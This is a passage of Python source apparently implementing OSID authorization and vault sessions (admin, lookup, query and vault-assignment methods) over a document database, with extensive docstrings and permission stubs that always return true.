osid_map = collection.find_one({'_id': insert_result.inserted_id}) result = objects.Authorization( osid_object_map=osid_map, runtime=self._runtime, proxy=self._proxy) return result def can_update_authorizations(self): """Tests if this user can update ``Authorizations``. A return of true does not guarantee successful authorization. A return of false indicates that it is known updating an ``Authorization`` will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer update operations to an unauthorized user. return: (boolean) - ``false`` if authorization modification is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.can_update_resources # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def get_authorization_form_for_update(self, authorization_id): """Gets the authorization form for updating an existing authorization. A new authorization form should be requested for each update transaction. arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` return: (osid.authorization.AuthorizationForm) - the authorization form raise: NotFound - ``authorization_id`` is not found raise: NullArgument - ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.get_resource_form_for_update_template collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) if not isinstance(authorization_id, ABCId): raise errors.InvalidArgument('the argument is not a valid OSID Id') if (authorization_id.get_identifier_namespace() != 'authorization.Authorization' or authorization_id.get_authority() != self._authority): raise errors.InvalidArgument() result = collection.find_one({'_id': ObjectId(authorization_id.get_identifier())}) obj_form = objects.AuthorizationForm(osid_object_map=result, runtime=self._runtime, proxy=self._proxy) self._forms[obj_form.get_id().get_identifier()] = not UPDATED return obj_form @utilities.arguments_not_none def update_authorization(self, authorization_form): """Updates an existing authorization. arg: authorization_form (osid.authorization.AuthorizationForm): the authorization ``Id`` raise: IllegalState - ``authorization_form`` already used in an update transaction raise: InvalidArgument - one or more of the form elements is invalid raise: NullArgument - ``authorization_form`` is ``null`` raise: OperationFailed - ``unable to complete request`` raise: PermissionDenied - authorization failure raise: Unsupported - ``authorization_form`` did not originate from ``get_authorization_form_for_update()`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.update_resource_template collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) if not isinstance(authorization_form, ABCAuthorizationForm): raise errors.InvalidArgument('argument type is not an AuthorizationForm') if not authorization_form.is_for_update(): raise errors.InvalidArgument('the AuthorizationForm is for update only, not create') try: if self._forms[authorization_form.get_id().get_identifier()] == UPDATED: raise errors.IllegalState('authorization_form already used in an update transaction') except KeyError: raise errors.Unsupported('authorization_form did not originate from this session') if not authorization_form.is_valid(): raise errors.InvalidArgument('one or more of the form elements is invalid') collection.save(authorization_form._my_map) self._forms[authorization_form.get_id().get_identifier()] = UPDATED # Note: this is out of spec. The OSIDs don't require an object to be returned: return objects.Authorization( osid_object_map=authorization_form._my_map, runtime=self._runtime, proxy=self._proxy) def can_delete_authorizations(self): """Tests if this user can delete ``Authorizations``. A return of true does not guarantee successful authorization. A return of false indicates that it is known deleting an ``Authorization`` will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer delete operations to an unauthorized user. return: (boolean) - ``false`` if ``Authorization`` deletion is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.can_delete_resources # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def delete_authorization(self, authorization_id): """Deletes the ``Authorization`` identified by the given ``Id``. arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` to delete raise: NotFound - an ``Authorization`` was not found identified by the given ``Id`` raise: NullArgument - ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.delete_resource_template collection = JSONClientValidated('authorization', collection='Authorization', runtime=self._runtime) if not isinstance(authorization_id, ABCId): raise errors.InvalidArgument('the argument is not a valid OSID Id') authorization_map = collection.find_one( dict({'_id': ObjectId(authorization_id.get_identifier())}, **self._view_filter())) objects.Authorization(osid_object_map=authorization_map, runtime=self._runtime, proxy=self._proxy)._delete() collection.delete_one({'_id': ObjectId(authorization_id.get_identifier())}) def can_manage_authorization_aliases(self): """Tests if this user can manage ``Id`` aliases for ``Authorizations``. A return of true does not guarantee successful authorization. A return of false indicates that it is known changing an alias will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer alias operations to an unauthorized user. return: (boolean) - ``false`` if ``Authorization`` aliasing is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def alias_authorization(self, authorization_id, alias_id): """Adds an ``Id`` to an ``Authorization`` for the purpose of creating compatibility. The primary ``Id`` of the ``Authorization`` is determined by the provider. The new ``Id`` performs as an alias to the primary ``Id``. If the alias is a pointer to another authorization. it is reassigned to the given authorization ``Id``. arg: authorization_id (osid.id.Id): the ``Id`` of an ``Authorization`` arg: alias_id (osid.id.Id): the alias ``Id`` raise: AlreadyExists - ``alias_id`` is already assigned raise: NotFound - ``authorization_id`` not found raise: NullArgument - ``authorization_id`` or ``alias_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceAdminSession.alias_resources_template self._alias_id(primary_id=authorization_id, equivalent_id=alias_id) class AuthorizationVaultSession(abc_authorization_sessions.AuthorizationVaultSession, osid_sessions.OsidSession): """This session provides methods to retrieve ``Authorization`` to ``Vault`` mappings. An ``Authorization`` may appear in multiple ``Vaults``. Each ``Vault`` may have its own authorizations governing who is allowed to look at it. This lookup session defines several views: * comparative view: elements may be silently omitted or re-ordered * plenary view: provides a complete result set or is an error condition """ _session_namespace = 'authorization.AuthorizationVaultSession' def __init__(self, proxy=None, runtime=None, **kwargs): OsidSession._init_catalog(self, proxy, runtime) self._catalog_view = COMPARATIVE self._kwargs = kwargs def use_comparative_vault_view(self): """The returns from the lookup methods may omit or translate elements based on this session, such as authorization, and not result in an error. This view is used when greater interoperability is desired at the expense of precision. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.use_comparative_bin_view self._catalog_view = COMPARATIVE if self._catalog_session is not None: self._catalog_session.use_comparative_catalog_view() def use_plenary_vault_view(self): """A complete view of the ``Authorization`` and ``Vault`` returns is desired. Methods will return what is requested or result in an error. This view is used when greater precision is desired at the expense of interoperability. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.use_plenary_bin_view self._catalog_view = PLENARY if self._catalog_session is not None: self._catalog_session.use_plenary_catalog_view() def can_lookup_authorization_vault_mappings(self): """Tests if this user can perform lookups of authorization/vault mappings. A return of true does not guarantee successful authorization. A return of false indicates that it is known lookup methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer lookup operations to unauthorized users. return: (boolean) - ``false`` if looking up mappings is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinSession.can_lookup_resource_bin_mappings # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def get_authorization_ids_by_vault(self, vault_id): """Gets the list of ``Authorization`` ``Ids`` associated with a ``Vault``. arg: vault_id (osid.id.Id): ``Id`` of a ``Vault`` return: (osid.id.IdList) - list of related authorization ``Ids`` raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinSession.get_resource_ids_by_bin id_list = [] for authorization in self.get_authorizations_by_vault(vault_id): id_list.append(authorization.get_id()) return IdList(id_list) @utilities.arguments_not_none def get_authorizations_by_vault(self, vault_id): """Gets the list of ``Authorizations`` associated with a ``Vault``. arg: vault_id (osid.id.Id): ``Id`` of a ``Vault`` return: (osid.authorization.AuthorizationList) - list of related authorization raise: NotFound - ``vault_id`` is not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinSession.get_resources_by_bin mgr = self._get_provider_manager('AUTHORIZATION', local=True) lookup_session = mgr.get_authorization_lookup_session_for_vault(vault_ids, proxy=self._proxy) lookup_session.use_isolated_vault_view() return lookup_session.get_authorizations() @utilities.arguments_not_none def get_authorizations_ids_by_vault(self, vault_ids): """Gets the list of ``Authorization Ids`` corresponding to a list of ``Vault`` objects. arg: vault_ids (osid.id.IdList): list of vault ``Ids`` return: (osid.id.IdList) - list of authorization ``Ids`` raise: NullArgument - ``vault_ids`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinSession.get_resource_ids_by_bin id_list = [] for authorization in self.get_authorizations_by_vault(vault_ids): id_list.append(authorization.get_id()) return IdList(id_list) @utilities.arguments_not_none def get_authorizations_by_vault(self, vault_ids): """Gets the list of ``Authorizations`` corresponding to a list of ``Vault``. arg: vault_ids (osid.id.IdList): list of vault ``Ids`` return: (osid.authorization.AuthorizationList) - list of authorizations raise: NullArgument - ``vault_ids`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinSession.get_resources_by_bin mgr = self._get_provider_manager('AUTHORIZATION', local=True) lookup_session = mgr.get_authorization_lookup_session_for_vault(vault_ids, proxy=self._proxy) lookup_session.use_isolated_vault_view() return lookup_session.get_authorizations() @utilities.arguments_not_none def get_vault_ids_by_authorization(self, authorization_id): """Gets the list of ``Vault`` ``Ids`` mapped to an ``Authorization``. arg: authorization_id (osid.id.Id): ``Id`` of an ``Authorization`` return: (osid.id.IdList) - list of vault ``Ids`` raise: NotFound - ``authorization_id`` is not found raise: NullArgument - ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinSession.get_bin_ids_by_resource mgr = self._get_provider_manager('AUTHORIZATION', local=True) lookup_session = mgr.get_authorization_lookup_session(proxy=self._proxy) lookup_session.use_federated_vault_view() authorization = lookup_session.get_authorization(authorization_id) id_list = [] for idstr in authorization._my_map['assignedVaultIds']: id_list.append(Id(idstr)) return IdList(id_list) @utilities.arguments_not_none def get_vault_by_authorization(self, authorization_id): """Gets the list of ``Vault`` objects mapped to an ``Authorization``. arg: authorization_id (osid.id.Id): ``Id`` of an ``Authorization`` return: (osid.authorization.VaultList) - list of vault raise: NotFound - ``authorization_id`` is not found raise: NullArgument - ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() class AuthorizationVaultAssignmentSession(abc_authorization_sessions.AuthorizationVaultAssignmentSession, osid_sessions.OsidSession): """This session provides methods to re-assign ``Authorizations`` to ``Vault``. An ``Authorization`` may map to multiple ``Vault`` objects and removing the last reference to a ``Authorization`` is the equivalent of deleting it. Each ``Vault`` may have its own authorizations governing who is allowed to operate on it. Moving or adding a reference of a ``Authorization`` to another ``Vault`` is not a copy operation (eg: does not change its ``Id`` ). """ _session_namespace = 'authorization.AuthorizationVaultAssignmentSession' def __init__(self, proxy=None, runtime=None, **kwargs): OsidSession._init_catalog(self, proxy, runtime) self._catalog_name = 'Vault' self._forms = dict() self._kwargs = kwargs def can_assign_authorizations(self): """Tests if this user can alter authorization/vault mappings. A return of true does not guarantee successful authorization. A return of false indicates that it is known mapping methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer assignment operations to unauthorized users. return: (boolean) - ``false`` if mapping is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinAssignmentSession.can_assign_resources # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True @utilities.arguments_not_none def can_assign_authorizations_to_vault(self, vault_id): """Tests if this user can alter authorization/vault mappings. A return of true does not guarantee successful authorization. A return of false indicates that it is known mapping methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer assignment operations to unauthorized users. arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` return: (boolean) - ``false`` if mapping is not authorized, ``true`` otherwise raise: NullArgument - ``vault_id`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinAssignmentSession.can_assign_resources_to_bin # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if vault_id.get_identifier() == '000000000000000000000000': return False return True @utilities.arguments_not_none def get_assignable_vault_ids(self, vault_id): """Gets a list of vault including and under the given vault node in which any authorization can be assigned. arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` return: (osid.id.IdList) - list of assignable vault ``Ids`` raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinAssignmentSession.get_assignable_bin_ids # This will likely be overridden by an authorization adapter mgr = self._get_provider_manager('AUTHORIZATION', local=True) lookup_session = mgr.get_vault_lookup_session(proxy=self._proxy) vaults = lookup_session.get_vaults() id_list = [] for vault in vaults: id_list.append(vault.get_id()) return IdList(id_list) @utilities.arguments_not_none def get_assignable_vault_ids_for_authorization(self, vault_id, authorization_id): """Gets a list of vault including and under the given vault node in which a specific authorization can be assigned. arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` return: (osid.id.IdList) - list of assignable vault ``Ids`` raise: NullArgument - ``vault_id`` or ``authorization_id`` is ``null`` raise: OperationFailed - unable to complete request *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinAssignmentSession.get_assignable_bin_ids_for_resource # This will likely be overridden by an authorization adapter return self.get_assignable_vault_ids(vault_id) @utilities.arguments_not_none def assign_authorization_to_vault(self, authorization_id, vault_id): """Adds an existing ``Authorization`` to a ``Vault``. arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` raise: AlreadyExists - ``authorization_id`` is already assigned to ``vault_id`` raise: NotFound - ``authorization_id`` or ``vault_id`` not found raise: NullArgument - ``authorization_id`` or ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinAssignmentSession.assign_resource_to_bin mgr = self._get_provider_manager('AUTHORIZATION', local=True) lookup_session = mgr.get_vault_lookup_session(proxy=self._proxy) lookup_session.get_vault(vault_id) # to raise NotFound self._assign_object_to_catalog(authorization_id, vault_id) @utilities.arguments_not_none def unassign_authorization_from_vault(self, authorization_id, vault_id): """Removes an ``Authorization`` from a ``Vault``. arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` arg: vault_id (osid.id.Id): the ``Id`` of the ``Vault`` raise: NotFound - ``authorization_id`` or ``vault_id`` not found or ``authorization_id`` not assigned to ``vault_id`` raise: NullArgument - ``authorization_id`` or ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinAssignmentSession.unassign_resource_from_bin mgr = self._get_provider_manager('AUTHORIZATION', local=True) lookup_session = mgr.get_vault_lookup_session(proxy=self._proxy) lookup_session.get_vault(vault_id) # to raise NotFound self._unassign_object_from_catalog(authorization_id, vault_id) @utilities.arguments_not_none def reassign_authorization_to_vault(self, authorization_id, from_vault_id, to_vault_id): """Moves an ``Authorization`` from one ``Vault`` to another. Mappings to other ``Vaults`` are unaffected. arg: authorization_id (osid.id.Id): the ``Id`` of the ``Authorization`` arg: from_vault_id (osid.id.Id): the ``Id`` of the current ``Vault`` arg: to_vault_id (osid.id.Id): the ``Id`` of the destination ``Vault`` raise: NotFound - ``authorization_id, from_vault_id,`` or ``to_vault_id`` not found or ``authorization_id`` not mapped to ``from_vault_id`` raise: NullArgument - ``authorization_id, from_vault_id,`` or ``to_vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.ResourceBinAssignmentSession.reassign_resource_to_bin self.assign_authorization_to_vault(authorization_id, to_vault_id) try: self.unassign_authorization_from_vault(authorization_id, from_vault_id) except: # something went wrong, roll back assignment to to_vault_id self.unassign_authorization_from_vault(authorization_id, to_vault_id) raise class VaultLookupSession(abc_authorization_sessions.VaultLookupSession, osid_sessions.OsidSession): """This session provides methods for retrieving ``Vault`` objects. The ``Vault`` represents a collection of ``Functions`` and ``Authorizations``. This session defines views that offer differing behaviors when retrieving multiple objects. * comparative view: elements may be silently omitted or re-ordered * plenary view: provides a complete set or is an error condition Generally, the comparative view should be used for most applications as it permits operation even if there is data that cannot be accessed. For example, a browsing application may only need to examine the ``Vaults`` it can access, without breaking execution. However, an administrative application may require all ``Vault`` elements to be available. Vaults may have an additional records indicated by their respective record types. The record may not be accessed through a cast of the ``Vault``. """ _session_namespace = 'authorization.VaultLookupSession' def __init__(self, proxy=None, runtime=None, **kwargs): OsidSession.__init__(self) OsidSession._init_catalog(self, proxy, runtime) if self._cataloging_manager is not None: self._catalog_session = self._cataloging_manager.get_catalog_lookup_session() self._catalog_session.use_comparative_catalog_view() self._catalog_view = COMPARATIVE self._kwargs = kwargs def can_lookup_vaults(self): """Tests if this user can perform ``Vault`` lookups. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer lookup operations to unauthorized users. return: (boolean) - ``false`` if lookup methods are not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.can_lookup_bins # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_lookup_catalogs() return True def use_comparative_vault_view(self): """The returns from the lookup methods may omit or translate elements based on this session, such as authorization, and not result in an error. This view is used when greater interoperability is desired at the expense of precision. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.use_comparative_bin_view self._catalog_view = COMPARATIVE if self._catalog_session is not None: self._catalog_session.use_comparative_catalog_view() def use_plenary_vault_view(self): """A complete view of the ``Vault`` returns is desired. Methods will return what is requested or result in an error. This view is used when greater precision is desired at the expense of interoperability. *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.use_plenary_bin_view self._catalog_view = PLENARY if self._catalog_session is not None: self._catalog_session.use_plenary_catalog_view() @utilities.arguments_not_none def get_vault(self, vault_id): """Gets the ``Vault`` specified by its ``Id``. In plenary mode, the exact ``Id`` is found or a ``NotFound`` results. Otherwise, the returned ``Vault`` may have a different ``Id`` than requested, such as the case where a duplicate ``Id`` was assigned to a ``Vault`` and retained for compatibility. arg: vault_id (osid.id.Id): ``Id`` of the ``Vault`` return: (osid.authorization.Vault) - the vault raise: NotFound - ``vault_id`` not found raise: NullArgument - ``vault_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method is must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.get_bin if self._catalog_session is not None: return self._catalog_session.get_catalog(catalog_id=vault_id) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) # Need to consider how to best deal with the "phantom root" catalog issue if vault_id.get_identifier() == PHANTOM_ROOT_IDENTIFIER: return self._get_phantom_root_catalog(cat_class=objects.Vault, cat_name='Vault') try: result = collection.find_one({'_id': ObjectId(self._get_id(vault_id, 'authorization').get_identifier())}) except errors.NotFound: # Try creating an orchestrated Vault. Let it raise errors.NotFound() result = self._create_orchestrated_cat(vault_id, 'authorization', 'Vault') return objects.Vault(osid_object_map=result, runtime=self._runtime, proxy=self._proxy) @utilities.arguments_not_none def get_vaults_by_ids(self, vault_ids): """Gets a ``VaultList`` corresponding to the given ``IdList``. In plenary mode, the returned list contains all of the vaults specified in the ``Id`` list, in the order of the list, including duplicates, or an error results if an ``Id`` in the supplied list is not found or inaccessible. Otherwise, inaccessible ``Vault`` objects may be omitted from the list and may present the elements in any order including returning a unique set. arg: vault_ids (osid.id.IdList): the list of ``Ids`` to retrieve return: (osid.authorization.VaultList) - the returned ``Vault`` list raise: NotFound - an ``Id was`` not found raise: NullArgument - ``vault_ids`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.get_bins_by_ids_template # NOTE: This implementation currently ignores plenary view # Also, this should be implemented to use get_Vault() instead of direct to database if self._catalog_session is not None: return self._catalog_session.get_catalogs_by_ids(catalog_ids=vault_ids) catalog_id_list = [] for i in vault_ids: catalog_id_list.append(ObjectId(i.get_identifier())) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) result = collection.find({'_id': {'$in': catalog_id_list}}).sort('_id', DESCENDING) return objects.VaultList(result, runtime=self._runtime, proxy=self._proxy) @utilities.arguments_not_none def get_vaults_by_genus_type(self, vault_genus_type): """Gets a ``VaultList`` corresponding to the given vault genus ``Type`` which does not include vaults of types derived from the specified ``Type``. In plenary mode, the returned list contains all known vaults or an error results. Otherwise, the returned list may contain only those vaults that are accessible through this session. arg: vault_genus_type (osid.type.Type): a vault genus type return: (osid.authorization.VaultList) - the returned ``Vault`` list raise: NullArgument - ``vault_genus_type`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) result = collection.find({'genusTypeId': {'$in': [str(vault_genus_type)]}}).sort('_id', DESCENDING) return objects.VaultList(result, runtime=self._runtime) @utilities.arguments_not_none def get_vaults_by_parent_genus_type(self, vault_genus_type): """Gets a ``VaultList`` corresponding to the given vault genus ``Type`` and include any additional vaults with genus types derived from the specified ``Type``. In plenary mode, the returned list contains all known vaults or an error results. Otherwise, the returned list may contain only those vaults that are accessible through this session. arg: vault_genus_type (osid.type.Type): a vault genus type return: (osid.authorization.VaultList) - the returned ``Vault`` list raise: NullArgument - ``vault_genus_type`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_vaults_by_record_type(self, vault_record_type): """Gets a ``VaultList`` containing the given vault record ``Type``. In plenary mode, the returned list contains all known vaults or an error results. Otherwise, the returned list may contain only those vaults that are accessible through this session. arg: vault_record_type (osid.type.Type): a vault record type return: (osid.authorization.VaultList) - the returned ``Vault`` list raise: NullArgument - ``vault_record_type`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() @utilities.arguments_not_none def get_vaults_by_provider(self, resource_id): """Gets a ``VaultList`` from the given provider ````. In plenary mode, the returned list contains all known vaults or an error results. Otherwise, the returned list may contain only those vaults that are accessible through this session. arg: resource_id (osid.id.Id): a resource ``Id`` return: (osid.authorization.VaultList) - the returned ``Vault`` list raise: NullArgument - ``resource_id`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ raise errors.Unimplemented() def get_vaults(self): """Gets all ``Vaults``. In plenary mode, the returned list contains all known vaults or an error results. Otherwise, the returned list may contain only those vaults that are accessible through this session. return: (osid.authorization.VaultList) - a ``VaultList`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinLookupSession.get_bins_template # NOTE: This implementation currently ignores plenary view if self._catalog_session is not None: return self._catalog_session.get_catalogs() collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) result = collection.find().sort('_id', DESCENDING) return objects.VaultList(result, runtime=self._runtime, proxy=self._proxy) vaults = property(fget=get_vaults) class VaultQuerySession(abc_authorization_sessions.VaultQuerySession, osid_sessions.OsidSession): """This session provides methods for searching among ``Vault`` objects. The search query is constructed using the ``VaultQuery``. Vaults may have a query record indicated by their respective record types. The query record is accessed via the ``VaultQuery``. """ _session_namespace = 'authorization.VaultQuerySession' def __init__(self, proxy=None, runtime=None, **kwargs): OsidSession.__init__(self) OsidSession._init_catalog(self, proxy, runtime) if self._cataloging_manager is not None: self._catalog_session = self._cataloging_manager.get_catalog_query_session() self._forms = dict() self._kwargs = kwargs def can_search_vaults(self): """Tests if this user can perform ``Vault`` searches. A return of true does not guarantee successful authorization. A return of false indicates that it is known all methods in this session will result in a ``PermissionDenied``. This is intended as a hint to an application that may opt not to offer search operations to unauthorized users. return: (boolean) - ``false`` if search methods are not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinQuerySession.can_search_bins_template # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. return True def get_vault_query(self): """Gets a vault query. return: (osid.authorization.VaultQuery) - a vault query *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinQuerySession.get_bin_query_template return queries.VaultQuery(runtime=self._runtime) vault_query = property(fget=get_vault_query) @utilities.arguments_not_none def get_vaults_by_query(self, vault_query): """Gets a list of ``Vault`` objects matching the given search. arg: vault_query (osid.authorization.VaultQuery): the vault query return: (osid.authorization.VaultList) - the returned ``VaultList`` raise: NullArgument - ``vault_query`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure raise: Unsupported - ``vault_query`` is not of this service *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinQuerySession.get_bins_by_query_template if self._catalog_session is not None: return self._catalog_session.get_catalogs_by_query(vault_query) query_terms = dict(vault_query._query_terms) collection = JSONClientValidated('authorization', collection='Vault', runtime=self._runtime) result = collection.find(query_terms).sort('_id', DESCENDING) return objects.VaultList(result, runtime=self._runtime) class VaultAdminSession(abc_authorization_sessions.VaultAdminSession, osid_sessions.OsidSession): """This session creates, updates, and deletes ``Vaults``. The data for create and update is provided by the consumer via the form object. ``OsidForms`` are requested for each create or update and may not be reused. Create and update operations differ in their usage. To create a ``Vault,`` a ``VaultForm`` is requested using ``get_vault_form_for_create()`` specifying the desired record ``Types`` or none if no record ``Types`` are needed. The returned ``VaultForm`` will indicate that it is to be used with a create operation and can be used to examine metdata or validate data prior to creation. Once the ``VaultForm`` is submiited to a create operation, it cannot be reused with another create operation unless the first operation was unsuccessful. Each ``VaultForm`` corresponds to an attempted transaction. For updates, ``VaultForms`` are requested to the ``Vault`` ``Id`` that is to be updated using ``getVaultFormForUpdate()``. Similarly, the ``VaultForm`` has metadata about the data that can be updated and it can perform validation before submitting the update. The ``VaultForm`` can only be used once for a successful update and cannot be reused. The delete operations delete ``Vaults``. It is safer to remove all mappings to the ``Vault`` catalogs before deletion. This session includes an ``Id`` aliasing mechanism to assign an external ``Id`` to an internally assigned Id. """ _session_namespace = 'authorization.VaultAdminSession' def __init__(self, proxy=None, runtime=None, **kwargs): OsidSession.__init__(self) OsidSession._init_catalog(self, proxy, runtime) if self._cataloging_manager is not None: self._catalog_session = self._cataloging_manager.get_catalog_admin_session() self._forms = dict() self._kwargs = kwargs def can_create_vaults(self): """Tests if this user can create ``Vaults``. A return of true does not guarantee successful authorization. A return of false indicates that it is known creating a ``Vault`` will result in a ``PermissionDenied``. This is intended as a hint to an application that may not wish to offer create operations to unauthorized users. return: (boolean) - ``false`` if ``Vault`` creation is not authorized, ``true`` otherwise *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.can_create_bins # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_create_catalogs() return True @utilities.arguments_not_none def can_create_vault_with_record_types(self, vault_record_types): """Tests if this user can create a single ``Vault`` using the desired record types. While ``AuthorizationManager.getVaultRecordTypes()`` can be used to examine which records are supported, this method tests which record(s) are required for creating a specific ``Vault``. Providing an empty array tests if a ``Vault`` can be created with no records. arg: vault_record_types (osid.type.Type[]): array of vault record types return: (boolean) - ``true`` if ``Vault`` creation using the specified ``Types`` is supported, ``false`` otherwise raise: NullArgument - ``vault_record_types`` is ``null`` *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.can_create_bin_with_record_types # NOTE: It is expected that real authentication hints will be # handled in a service adapter above the pay grade of this impl. if self._catalog_session is not None: return self._catalog_session.can_create_catalog_with_record_types(catalog_record_types=vault_record_types) return True @utilities.arguments_not_none def get_vault_form_for_create(self, vault_record_types): """Gets the vault form for creating new vaults. A new form should be requested for each create transaction. arg: vault_record_types (osid.type.Type[]): array of vault record types return: (osid.authorization.VaultForm) - the vault form raise: NullArgument - ``vault_record_types`` is ``null`` raise: OperationFailed - unable to complete request raise: PermissionDenied - authorization failure raise: Unsupported - unable to get form qith requested record types *compliance: mandatory -- This method must be implemented.* """ # Implemented from template for # osid.resource.BinAdminSession.get_bin_form_for_create_template if self._catalog_session is not None: return self._catalog_session.get_catalog_form_for_create(catalog_record_types=vault_record_types) for arg in vault_record_types: if 